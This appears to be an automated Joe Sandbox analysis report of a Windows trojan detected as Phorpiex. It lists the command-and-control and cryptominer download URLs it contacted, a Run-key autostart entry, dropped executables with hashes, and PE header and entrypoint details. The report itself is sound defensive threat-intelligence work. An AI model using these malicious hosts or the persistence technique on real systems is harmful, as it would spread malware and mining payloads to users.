http://185.215.113.66/twizt/6k8	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/	winrecsv.exe, winrecsv.exe, 00000005.00000002.606960359.0000000000413000.00000004.00000001.01000000.00000004.sdmp, winrecsv.exe, 00000005.00000000.377043204.0000000000413000.00000008.00000001.01000000.00000004.sdmp, Id4zlrsrZ4.exe, winrecsv.exe.0.dr	true	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.7.dr	false		high
http://185.215.113.84/xmrminer.exe(	509517324.exe, 00000007.00000002.420240113.0000000001203000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://2462462645.fr/5797957298589274527842dgd828d8g8fg8g8gfeu8gf8g2gf8g2fgaefafugaugfgauegfaefyaieg	Id4zlrsrZ4.exe, winrecsv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/twizt/3lZ9	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/15C5FCA7	winrecsv.exe, 00000005.00000003.389375637.0000000003171000.00000004.00000800.00020000.00000000.sdmp, winrecsv.exe, 00000005.00000003.389646709.00000000031A9000.00000004.00000800.00020000.00000000.sdmp, winrecsv.exe, 00000005.00000003.389630272.0000000003199000.00000004.00000800.00020000.00000000.sdmp, winrecsv.exe, 00000005.00000003.389653445.00000000031AC000.00000004.00000800.00020000.00000000.sdmp, winrecsv.exe, 00000005.00000003.389580007.0000000003192000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/3l	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/6lS9	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.84/xmrminer.exer	509517324.exe, 00000007.00000002.420240113.0000000001203000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.84/xmrminer.exes	509517324.exe, 00000007.00000002.420203300.00000000011DA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/B1-4D5E-B0E7-362EE23EA443	winrecsv.exe, 00000005.00000003.448558044.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, winrecsv.exe, 00000005.00000002.607849119.00000000031AD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/5#8u	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/19	winrecsv.exe, 00000005.00000003.389375637.0000000003171000.00000004.00000800.00020000.00000000.sdmp, winrecsv.exe, 00000005.00000003.389739491.000000000317E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.84/xmrminer.exe~	509517324.exe, 00000007.00000002.420240113.0000000001203000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/	winrecsv.exe, 00000005.00000003.448558044.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, winrecsv.exe, 00000005.00000002.607849119.00000000031AD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.84/xmrminer.exero/	509517324.exe, 00000007.00000002.420296695.000000000123D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/twizt/3E8	winrecsv.exe, 00000005.00000002.607788746.0000000003181000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.66	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
105.106.149.0	unknown	Algeria	36947	ALGTEL-ASDZ	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
176.194.22.84	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
185.215.113.84	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
89.236.217.87	unknown	Uzbekistan	39032	ISPETCUZ	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	684211
Start date and time:	2022-08-15 18:30:01 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Id4zlrsrZ4.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@8/7@0/7
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.3% (good quality ratio 94.6%) Quality average: 83.4% Quality standard deviation: 26.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 53 Number of non-executed functions: 138
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.109.209.108
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, redir.update.msft.com.trafficmanager.net, login.live.com, store-images.s-microsoft.com, www.update.microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:31:06	API Interceptor	1x Sleep call for process: Id4zlrsrZ4.exe modified
18:31:09	API Interceptor	14x Sleep call for process: winrecsv.exe modified
18:31:12	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\winrecsv.exe
18:31:36	API Interceptor	2x Sleep call for process: 509517324.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.215.113.66	c0887fac0c1921b6678e81a90619bda7f0ffb9abee995.exe	Get hash	malicious	Browse
	ehtBPDX9ZZ.exe	Get hash	malicious	Browse
	ehtBPDX9ZZ.exe	Get hash	malicious	Browse
239.255.255.250	https://madalonlaw.squarespace.com/	Get hash	malicious	Browse
	https://www.envasesyetiquetas.com/lo/#amy@steinborn.com	Get hash	malicious	Browse
	https://s.id/Microsoftoffice365	Get hash	malicious	Browse
	https://microsoftonlineonedrivesecurefileshare.nifty.pm/l/Ma1AbajjA_?pub	Get hash	malicious	Browse
	Secured -Growing Generations_New Update 08152022 (6.45 KB).msg	Get hash	malicious	Browse
	https://drive.google.com/file/d/1I-Nfl0LFCmZ_wLRV7_GRnb_5GYf71dci/view?usp=drivesdk	Get hash	malicious	Browse
	http://www.Penguinrandomhouse49298900.cnxjeans.com/Penguinrandomhouse49298900/aHR0cHM6Ly9zbWFydGlkZWFzLmxrL3NlY3VyZS9QZW5ndWlucmFuZG9taG91c2UvNDkyL2R2YXVnaGFuQHBlbmd1aW5yYW5kb21ob3VzZS5jby51aw	Get hash	malicious	Browse
	https://czaplicka.eu/netza.php	Get hash	malicious	Browse
	https://secureonlineportal.jvmreatly.org/	Get hash	malicious	Browse
	http://staureez.net	Get hash	malicious	Browse
	https://click.smartsheet.com/f/a/KdxLR8miSTFJ7VN-h9XLmg~~/AARF7wA~/RgRk3LyVP0UIZG93bmxvYWREV2h0dHBzOi8vYXBwLnNtYXJ0c2hlZXQuY29tL2IvZG93bmxvYWQvYXR0LzEvODIwMjY4MjgwMTM4MzMwMC9jZmRmaWg3Y2U3cmoycXZwc3ZwZXV6eHNoblcDc3BjQgpi65U3-mL7BCz-UhlqYW5uYS5zdXR0ZXJAcmVhbHBhZ2UuY29tWAQAAAAA	Get hash	malicious	Browse
	https://pxlme.me/BENDELI	Get hash	malicious	Browse
	https://www.dropbox.com/scl/fi/wg2u64p9gg53bcda16gzd/You-have-been-invited-you-to-view-the-folder-%E2%80%9CPO48993_49110%22.paper?dl=0&rlkey=rls1740uy7srqs62ao8k12usp	Get hash	malicious	Browse
	https://gifttous.com/.well-known/dk/	Get hash	malicious	Browse
	PO 20008098.exe	Get hash	malicious	Browse
	https://github.com/DaxStudio/DaxStudio/releases/download/v2.17.3/DaxStudio_2_17_3_setup.exe	Get hash	malicious	Browse
	http://mgamt.com/landing/96908b5f-2855-4989-80e7-1441a5f35cc1	Get hash	malicious	Browse
	https://img.top	Get hash	malicious	Browse
	Shipping_Doc.html	Get hash	malicious	Browse
	Payment Schedule-PL-PG-1693507.file.html	Get hash	malicious	Browse
185.215.113.84	GitmEGG60Q.exe	Get hash	malicious	Browse	185.215.113.84/twizt/6
	o3N9Cy4cvC.exe	Get hash	malicious	Browse	185.215.113.84/twizt/6
	ZQ3TjoF5rO.exe	Get hash	malicious	Browse	185.215.113.84/twizt/3
	Iz6iyG7Wps.exe	Get hash	malicious	Browse	185.215.113.84/twizt/1
	V0T2Q9C6iN.exe	Get hash	malicious	Browse	185.215.113.84/twizt/5
	3TW9WSTDsD.exe	Get hash	malicious	Browse	185.215.113.84/twizt/6
	6ahTdtSd17.exe	Get hash	malicious	Browse	185.215.113.84/twizt/4
	c1ly4Kd6oh.exe	Get hash	malicious	Browse	185.215.113.84/twizt/6
	Ycmt4NSlWu.exe	Get hash	malicious	Browse	185.215.113.84/twizt/3
	va7IV3k6le.exe	Get hash	malicious	Browse	185.215.113.84/twizt/3
	fl1V8eYAl3.exe	Get hash	malicious	Browse	185.215.113.84/twizt/6
	149271394137871.exe	Get hash	malicious	Browse	185.215.113.84/twizt/2
	winsvc.exe	Get hash	malicious	Browse	ashihsijaediaehf.su/t.php?new=1
	p.exe	Get hash	malicious	Browse	185.215.113.84/m/l.exe
	qpzcpgVWw8.exe	Get hash	malicious	Browse	185.215.113.84/etc.exe
	1jqUUC0fBX.exe	Get hash	malicious	Browse	185.215.113.84/ec.exe
	ehtBPDX9ZZ.exe	Get hash	malicious	Browse	185.215.113.84/pei.exe
	ehtBPDX9ZZ.exe	Get hash	malicious	Browse	185.215.113.84/pei.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WHOLESALECONNECTIONSNL	Genshin Hack.exe	Get hash	malicious	Browse	185.215.113.23
	DnlZ9gKew7.exe	Get hash	malicious	Browse	185.215.113.216
	BykntgM55B.exe	Get hash	malicious	Browse	185.215.113.216
	veBv0JBRUl.exe	Get hash	malicious	Browse	185.215.113.216
	FCAYglGyHi.exe	Get hash	malicious	Browse	185.215.113.83
	Installer.exe	Get hash	malicious	Browse	185.215.113.23
	GitmEGG60Q.exe	Get hash	malicious	Browse	185.215.113.84
	Ye8DVmUSpD.exe	Get hash	malicious	Browse	185.215.113.83
	SPp5wgKlxt.exe	Get hash	malicious	Browse	185.215.113.23
	s4LjhG8EKm.exe	Get hash	malicious	Browse	185.215.113.216
	v202fCnto7.exe	Get hash	malicious	Browse	185.215.113.216
	f0Q0bm1XT5.exe	Get hash	malicious	Browse	185.215.113.216
	ecQNq4SIuc.exe	Get hash	malicious	Browse	185.215.113.216
	X2NycPwHDC.exe	Get hash	malicious	Browse	185.215.113.216
	XRF6tB7kQj.exe	Get hash	malicious	Browse	185.215.113.216
	sutup.exe	Get hash	malicious	Browse	185.215.113.23
	mXhtXR9ekC.exe	Get hash	malicious	Browse	185.215.113.16
	CbmhYKLsrt.exe	Get hash	malicious	Browse	185.215.113.94
	523STXjYJX.exe	Get hash	malicious	Browse	185.215.113.204
	7nPvFVRupT.exe	Get hash	malicious	Browse	185.215.113.23
ALGTEL-ASDZ	skid.x86_64-20220815-1256	Get hash	malicious	Browse	105.102.198.221
	8vEeXLnxIM	Get hash	malicious	Browse	41.100.56.195
	8PyEiVVitW	Get hash	malicious	Browse	154.255.38.84
	aaVI0wtCZ6	Get hash	malicious	Browse	41.108.48.174
	R4WLr8yqVF	Get hash	malicious	Browse	105.97.152.179
	PFKOKqZ9D6.exe	Get hash	malicious	Browse	41.108.184.148
	32lKEOZgq0	Get hash	malicious	Browse	197.207.57.239
	skid.arm7	Get hash	malicious	Browse	105.111.67.115
	ZkN2nmte8y	Get hash	malicious	Browse	197.205.198.198
	nkdraDOE0p	Get hash	malicious	Browse	197.117.249.159
	ncJmBOetwD	Get hash	malicious	Browse	41.106.43.166
	YVRpq3zOXH	Get hash	malicious	Browse	41.104.241.218
	lAd5Gs8bL8	Get hash	malicious	Browse	197.118.32.240
	0qdjzL1bxv	Get hash	malicious	Browse	41.110.216.143
	of4NFNJ322	Get hash	malicious	Browse	41.105.231.149
	qMGe0LAdNl	Get hash	malicious	Browse	41.110.164.254
	363k6KwW9f	Get hash	malicious	Browse	41.102.102.226
	Mc7aTFVmmv	Get hash	malicious	Browse	41.97.193.187
	q0lC7ihSlh	Get hash	malicious	Browse	41.108.245.1
	Dze3X1EzuD	Get hash	malicious	Browse	154.255.38.35

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Temp\509517324.exe	GitmEGG60Q.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\1[1]

Process:	C:\Windows\winrecsv.exe
File Type:	data
Category:	dropped
Size (bytes):	6912
Entropy (8bit):	7.973025390406073
Encrypted:	false
SSDEEP:	96:oj6V/SoG95rGUWjQXk2i4yZwil2aFrl28WqR/P7/8lOmAzhBHqsUNDjUmD2eEN8x:oeVhGLr0QXj1yZHl9RZz8lwt8fNXr
MD5:	9E2F163C15EE457BE1F51981985570A1
SHA1:	4A191E6DA4A85B915F285E758D0789D2EDE3AFF1
SHA-256:	C7DE55DDD548F4F268979E1F0C70AB0EDB2566C0CE46B921EA281E1570ABAD82
SHA-512:	4B3EAE4A1DF79AC8805F46D32DAECDB54028D160A5056679D4478C08E7F8FF42DF5F84F4B1FE2CB8B5F3574EAE5B18A94AD865EDFC4D314A51118316C907967D
Malicious:	false
Reputation:	low
Preview:	.H...Vv..8......a.=.d...U..rcn{..,..m.K....E..re...l.T....f.W#...R.p@3...b8.o.....mF.<..{.g./d.[0./....-.w..6...5dt....'..S cP.LP......Y..>cq }. .=l.hm.WQ,.OD.).k.rI...%T&a`#p.7.L...p.c5....On..K...vg..&{.xtj.......;+.......{]+...]1....P.E.......2.N....G.....Z>ZX.}3]..l.r...X....4>.ud&.".JR..o'..#\|\..7.G.Q$.j.(I....>,x1x.qIL.6.....Q....D...R..Jp..5.6.e#O.....FS.uCf..Jc..T.0.4...N.}...O.,..Q..2..&`..P...r.3.!....s.N<rHb..L0[H......&.=3?B.Ro..k...u?...l.<y.5"....u.>)8-......^..c.OF...S.SYD.S}............p.[....M.".l../.".....x..I.Jj"....,R)..qJ..smP.T.%I.nw)5..'.....\|.q.I.w.Uz?...q...UY..C..3.Z.rk..x....F..G...!..u..E.....R..A.s..`*r0.+.5......x.......-..o.k..:y.r..%7L......>w)C......1NuPZ...WN>I....R....r.;...A...9.d./tx...{..A.R.%..y....^.4^x..........q...........$/..={...........3....6/..`.{.......Qc..(\....,..~b.-S.. a..@..".g;(..#..c........P..?.....\|e..T. ...n}yG]_.:.g..{.&.pg..e..0..{.Y.P.8..e3.....!..hX..q.LL....jQ^.7.E...?C...,

C:\Users\user\AppData\Local\Temp\1840439288.exe

Process:	C:\Users\user\AppData\Local\Temp\509517324.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	564
Entropy (8bit):	4.775290370533887
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5rRCNGlTF5TF5TF5TF5TF5TFK:neRH688lTPTPTPTPTPTc
MD5:	5DA4C1420F84EC727D1B6BDD0D46E62E
SHA1:	280D08D142F7386283F420444EC48E1CDBFD61BB
SHA-256:	3C8CC37A98346BD0123B35E5CCD87BD07D69914DAE04F8B49F61C150D96E9D1F
SHA-512:	7C51A628831D0236E8D314C71732B8A62E06334431D10F7C293C49B23665B2A6A1DDBC4772009010955B5228EA4A5CD97FB93581CE391EE1792E8A198B76111A
Malicious:	false
Reputation:	low
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.18.0 (Ubuntu)</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

C:\Users\user\AppData\Local\Temp\509517324.exe

Process:	C:\Windows\winrecsv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	4.230127984822324
Encrypted:	false
SSDEEP:	96:nYdJtz6aW+HMl7hswYGZ9w/Ptboynun9Cth:nktz/67hO/P1oynW8
MD5:	A475E43527D7DC7D6F2D23BAD64FCC99
SHA1:	793A7625C0106D6CD79D060B4EEC94E58530833E
SHA-256:	F97C43BF3DCE6180E658F2C3776E31CF52472B28AC8249BE4D307880B6405EEB
SHA-512:	4AF57A218D7D790B5EC4581DD2BC941DEFF05EA11BF6054A9D268C054AF421977CDD68D5090884358208925F50023C97E9CFABA0831D72E9BCDCCA729447D900
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 52%, Browse Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: GitmEGG60Q.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........j.wTj.wTj.wT..sTh.wT.yTk.wT..}Ta.wTMM.Tg.wTj.vTN.wTt..Tk.wTt..Tk.wTRichj.wT........PE..L......b............................\|........ ....@..........................`............@..................................#.......@.......................P....................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...<....0......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\tnnodes.dat

Process:	C:\Windows\winrecsv.exe
File Type:	data
Category:	modified
Size (bytes):	4096
Entropy (8bit):	4.818471917182262
Encrypted:	false
SSDEEP:	96:IlukshBzu5Gen5eRl7KKCek/Wok71L6LoDez8seyZ61ocHPL:I8jhBzHe0VKSUkRGsDmeyGoGL
MD5:	FBC49CE2908C1B0B1532569F35D123FF
SHA1:	BB0948AD3CE4472B6A9A03F4FB5F1A04216C9AE9
SHA-256:	D3F2C2406407678E4CF9507F48143A6B39261F11835ACD32585FC9D789A4EB7C
SHA-512:	F46D81481B015DAA94A52826CACDCEE00B4A98D7A938B36F1F3F2372C00B08003AB2FB859DEEC3DA82B3E8A9FC65632A469CCF67FFA5AF999564E68F67F00212
Malicious:	false
Reputation:	low
Preview:	.$.[......Y.......M%......................Y....W..G....W................k.....o^5.....[bu*......U.....-............Y..}....Y........x.e.......m....^.E........:....).PZ.....pjp.....XL.....^..V.....#.R....Y.......\.....^.......>........l\............................9..............\/z.....EC.z...........$\.C.....^................m.............m..........`...._8Y.......o.....N&kY.....G........W.....X.J....M".{......9.......S.....\} x......a.....W..@....>.......u......ic.....\/#....._.......).`.....m..z....N&.)....p.nJ....Y.................}.....................8........;.............q5M............f........#......mJC`.......1......U%....-..D...........]u$o.......<.....q.F............R..\|...._.O.....W..i...._......%.........Z.....WL3........H....[..............K}.....N.T@....PP.Y......y............'3.b....Y................6F.....#D.......G.......&....P........5.).....;.q............]..(.............x....._:W.......[\......Z............X.......W..........I......nP....

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Users\user\AppData\Local\Temp\509517324.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.273557257647912
Encrypted:	false
SSDEEP:	12288:bwb+0Th31Trp3TSP6a0rOupypy+Z6U6KvUJn5CmGreLzGGUsyU:ka0Th31Trp3TSP6ff+C
MD5:	8DBEF248F4B8327279613A374208D979
SHA1:	CD8BF0CF7FF05E0DA686EF2F11C0CC5ECEA94634
SHA-256:	AF29DD441C0D4156DF24A534E10A381F7465CB8D2E4DB00F79B4848FE2203028
SHA-512:	285BE7CAF852291F67503C03329447A42B704F32E56EE64CD2FBF9E6889EBDD38E8411F239820413BB0E1C8FBBCD6E02C5AD3E880737544E329CF635C57507EC
Malicious:	false
Preview:	regfW...W...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.[..................................................................................................................................................................................................................................................................................................................................................Ii..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Process:	C:\Users\user\AppData\Local\Temp\509517324.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.3091281554845113
Encrypted:	false
SSDEEP:	192:lRTHAZo19YOx3x1YN5FSE0V1w5G5tGrgM3+4:rT255e+G5tGrN+4
MD5:	086FD986F38603874BB00AB8F63F8DBD
SHA1:	F8BA4481F857FA46502D788A417F5B135DF4B5FE
SHA-256:	0E7FD6EB2B50E9E7D0C9A9D4AC960F3EB32D070B80CED28CD0C24E7837FE336E
SHA-512:	71788E2D873A89BDFFE01F312701FD787BBFCC81DA5591A7B15BE3B58C86FD450CF74D96763FE431F9A7F2D24EF64379E220C0B5F85AAD89DF61B0A04F750F13
Malicious:	false
Preview:	regfV...V...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.[..................................................................................................................................................................................................................................................................................................................................................Oi..HvLE........V...........H]...j.Vh.&>.x...........P......hbin................p.\..,..........nk,..!...,......0........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ..}..a...... ...........8~.............. .......Z.......................Root........lf......Root....nk .k..\|;.................................. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p.......nk .

C:\Windows\winrecsv.exe

Process:	C:\Users\user\Desktop\Id4zlrsrZ4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77312
Entropy (8bit):	6.345505183378638
Encrypted:	false
SSDEEP:	1536:K3Mz8enofIxQrFP+ZrFugrZpVnWw7V15Frrmi:xweZQhGZ5ugDVnj7V15Fr
MD5:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
SHA1:	6FFCC083956C5AC19826BDD87E12F87817EE837C
SHA-256:	22F524ABC98F958705FEBD3761BEDC85EC1AE859316A653B67C0C01327533092
SHA-512:	6592EC1A12F9575176474C6192D49F4F4A87998DA6692E07E8BA6A93789D6A92E41DBABD3488A27A49EC8C8C414E02751867FEB2A0038E4091630CA3E4FB235F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\winrecsv.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...J...K.......K.......K...D...K..&&...K...J.~.K..&0...K.....K.....K.Rich..K.........PE..L...0D.b.....................X...... Z............@..........................`.......................................................................................................................................................................text............................... ..`.rdata...........0..................@..@.data....&...0......................@...................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.345505183378638
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Id4zlrsrZ4.exe
File size:	77312
MD5:	ed2d7b25bb360cccb4f0f6a4f8732d7a
SHA1:	6ffcc083956c5ac19826bdd87e12f87817ee837c
SHA256:	22f524abc98f958705febd3761bedc85ec1ae859316a653b67c0c01327533092
SHA512:	6592ec1a12f9575176474c6192d49f4f4a87998da6692e07e8ba6a93789d6a92e41dbabd3488a27a49ec8c8c414e02751867feb2a0038e4091630ca3e4fb235f
SSDEEP:	1536:K3Mz8enofIxQrFP+ZrFugrZpVnWw7V15Frrmi:xweZQhGZ5ugDVnj7V15Fr
TLSH:	CB732810F6D0C03AF0F740FBE2FB05AA592CEFB4530698E752D9A85F5B215D1A9364A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...J...K.......K.......K...D...K..&&...K...J.~.K..&0...K.......K.......K.Rich..K.........PE..L...0D.b...........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x405a20
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62FA4430 [Mon Aug 15 13:03:44 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2f2316fb946682a102e453a8ae405904

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000C4Ch
push 00001B58h
call dword ptr [004100F0h]
mov dword ptr [ebp-00000214h], 00000000h
mov dword ptr [ebp-0000083Ch], 00002332h
mov eax, dword ptr [ebp-00000214h]
cmp eax, dword ptr [ebp-0000083Ch]
jnc 00007FF3C0B6163Bh
push 00000000h
push 00413C60h
call dword ptr [004101C0h]
mov dword ptr [ebp-00000A50h], eax
cmp dword ptr [ebp-00000A50h], 00000000h
je 00007FF3C0B61607h
push 000003E8h
call dword ptr [004100F0h]
push 00413C60h
push 00413C8Ch
call dword ptr [00410098h]
push 00413C60h
push 00413C8Ch
call dword ptr [00410098h]
push 00000000h
push 00413C60h
call dword ptr [004101C0h]
mov dword ptr [ebp-00000A74h], eax
cmp dword ptr [ebp-00000A74h], 00000000h
je 00007FF3C0B60ECDh
push 000003E8h
call dword ptr [004100F0h]
push 00413C60h
push 00413C8Ch
call dword ptr [00410098h]
push 000003E8h
call dword ptr [004100F0h]

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11f1c	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x318	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe4fc	0xe600	False	0.4665591032608696	data	6.11073833830779	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x2eca	0x3000	False	0.4490559895833333	data	5.5519954819651245	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x13000	0x26e0	0x1400	False	0.6556640625	data	6.173018070745021	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
